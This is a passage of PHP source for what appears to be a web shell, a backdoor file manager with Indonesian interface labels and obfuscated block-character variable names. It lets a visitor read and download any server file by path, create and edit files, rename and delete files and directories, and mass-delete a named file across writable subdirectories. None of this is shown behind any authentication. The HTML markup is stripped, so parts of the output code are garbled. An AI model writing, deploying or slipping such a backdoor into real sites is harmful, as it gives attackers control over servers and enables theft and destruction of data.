>>'; $_s = "

"; $_r = "required='required'"; $_x = ""; if (isset($_GET['option']) && $_POST['opt'] == 'download') { header('Content-type: text/plain'); header('Content-Disposition: attachment; filename="' . $_POST['name'] . '"'); echo file_get_contents($_POST['path']); exit; } function ▟($dir, $p) { if (isset($_GET['path'])) { $▚ = $_GET['path']; } else { $▚ = getcwd(); } if (is_writable($▚)) { return "" . $p . ""; } else { return "" . $p . ""; } } function ok() { echo ''; } } echo "\n
\n\t
\n\t\t{$_x} Buat file\n\t\t
\n\t\t\t Nama file:\n\t\t\t\n\t\t\t Isi file:\n\t\t\t\n\t\t\t\n\t\t
\n\t
\n
\n
"; } elseif ($_GET['id'] == 'dirbaru') { echo "{$_s}"; if (isset($_POST['buat'])) { $nama = $_POST['nama_dir']; foreach ($nama as $nama_dir) { $folder = preg_replace("([^\\w\\s\\d\\-_~,;:\\[\\]\\(\\].]|[\\.]{2,})", '', $nama_dir); $fd = @mkdir($folder); } if ($fd) { echo 'Buat dir ok! ' . ok() . ''; } else { echo 'Buat dir gagal! ' . er() . ''; } } echo "\n
\n\t
\n\t\t{$_x} Buat dir\n\t\t
\n\t\t\t Nama dir:\n\t\t\t
\n\t\t\t\t\n\t\t\t\t\n\t\t\t
\n\t\t
\n\t
\n
\n
"; } elseif ($_GET['id'] == 'delete') { echo "{$_s}"; function hapus_massal($dir, $namafile) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { $dirc = "{$dir}/{$dirb}"; $▚ = $dirc . '/' . $namafile; if ($dirb === '.') { if (file_exists("{$dir}/{$namafile}")) { unlink("{$dir}/{$namafile}"); } } elseif ($dirb === '..') { if (file_exists("" . dirname($dir) . "/{$namafile}")) { unlink("" . dirname($dir) . "/{$namafile}"); } } else { if (is_dir($dirc)) { if (is_writable($dirc)) { if (file_exists($▚)) { echo "[] {$▚}
"; unlink($▚); $▟ = hapus_massal($dirc, $namafile); } } } } } } } if ($_POST['start']) { hapus_massal($_POST['d_dir'], $_POST['d_file']); echo "
"; } echo "\n
\n\t
\n\t\t
\n\t\t{$_x} Mass delete\n\t\t
\n\t\t Lokasi:\n\t\t\t\n\t\t\t\t Nama file:\n\t\t\t
\n\t\t\t\t
\n\t\t\t
\n\t\t\t\t\n\t\t\t
\n\t\t\n\t\t
\n\t
\n
\n
"; } } // akhir tools if (isset($_GET['filesrc'])) { echo "
name : " . basename($_GET['filesrc']); "
"; echo '
' . htmlspecialchars(file_get_contents($_GET['filesrc'])) . '

'; } elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') { echo '
name : ' . basename($_POST['path']); '
'; //rename file if ($_POST['opt'] == 'rename') { if (isset($_POST['newname'])) { if (rename($_POST['path'], $path . '/' . $_POST['newname'])) { echo 'Rename ok! ' . ok() . ''; } else { echo 'Rename gagal! ' . er() . ''; } $_POST['name'] = $_POST['newname']; } echo '
'; } elseif ($_POST['opt'] == 'edit') { if (isset($_POST['src'])) { $fp = fopen($_POST['path'], 'w'); if (fwrite($fp, $_POST['src'])) { echo 'Edit ok! ' . ok() . ''; } else { echo 'Edit gagal! ' . er() . ''; } fclose($fp); } echo '


'; } } else { //delete dir & file if (isset($_GET['option']) && $_POST['opt'] == 'delete') { if ($_POST['type'] == 'dir') { if (rmdir($_POST['path'])) { echo 'Delete dir ok! ' . ok() . ''; } else { echo 'Delete dir gagal! ' . er() . ''; } } elseif ($_POST['type'] == 'file') { if (unlink($_POST['path'])) { echo 'Delete file ok! ' . ok() . ''; } else { echo 'Delete file gagal! ' . er() . ''; } } } $scandir = scandir($path); $pa = getcwd(); echo '
'; foreach ($scandir as $dir) { $dt = date("Y-m-d H:i:s", filemtime("{$path}/{$dir}")); if (function_exists('posix_getpwuid')) { $downer = @posix_getpwuid(fileowner("{$path}/{$dir}")); $downer = $downer['name']; } else { $downer = fileowner("{$path}/{$dir}"); } if (function_exists('posix_getgrgid')) { $dgrp = @posix_getgrgid(filegroup("{$path}/{$dir}")); $dgrp = $dgrp['name']; } else { $dgrp = filegroup("{$path}/{$dir}"); } if (!is_dir("{$path}/{$dir}") || $dir == '.' || $dir == '..') { continue; } echo "\n\n\t\n\t\n\t\n\t\n\t'; } echo "\n\t\n"; } foreach ($scandir as $file) { $ft = date("Y-m-d H:i:s", filemtime("{$path}/{$file}")); if (!is_file($path . '/' . $file)) { continue; } if (function_exists('posix_getpwuid')) { $fowner = @posix_getpwuid(fileowner("{$path}/{$file}")); $fowner = $fowner['name']; } else { $fowner = fileowner("{$path}/{$file}"); } if (function_exists('posix_getgrgid')) { $fgrp = @posix_getgrgid(filegroup("{$path}/{$file}")); $fgrp = $fgrp['name']; } else { $fgrp = filegroup("{$path}/{$file}"); } echo "\n\n\t\n\t\n\t\n\t\n\t'; } echo "\n\t\n"; } } echo "\n\n
name last edit size owner:downer permission options
..
{$dir}{$dt}dir{$downer}:{$dgrp}"; if (is_writable("{$path}/{$dir}")) { echo ''; } elseif (!is_readable("{$path}/{$dir}")) { echo ''; } echo p("{$path}/{$dir}"); if (is_writable("{$path}/{$dir}") || !is_readable("{$path}/{$dir}")) { echo '\n\t
\n\t\t
\n\t\t\t\n\t\t\t\n\t\t
\n\t\t\n\t\t\n\t\t\n\t
\n\t
{$file}{$ft}" . sz(filesize($file)) . "{$fowner}:{$fgrp}"; if (is_writable("{$path}/{$file}")) { echo ''; } elseif (!is_readable("{$path}/{$file}")) { echo ''; } echo p("{$path}/{$file}"); if (is_writable("{$path}/{$file}") || !is_readable("{$path}/{$file}")) { echo '\n\t\t
\n\t\t\t
\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t
\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t
\n\t
\n
© " . date("Y") . " {$_n}
\n
\n\n\n";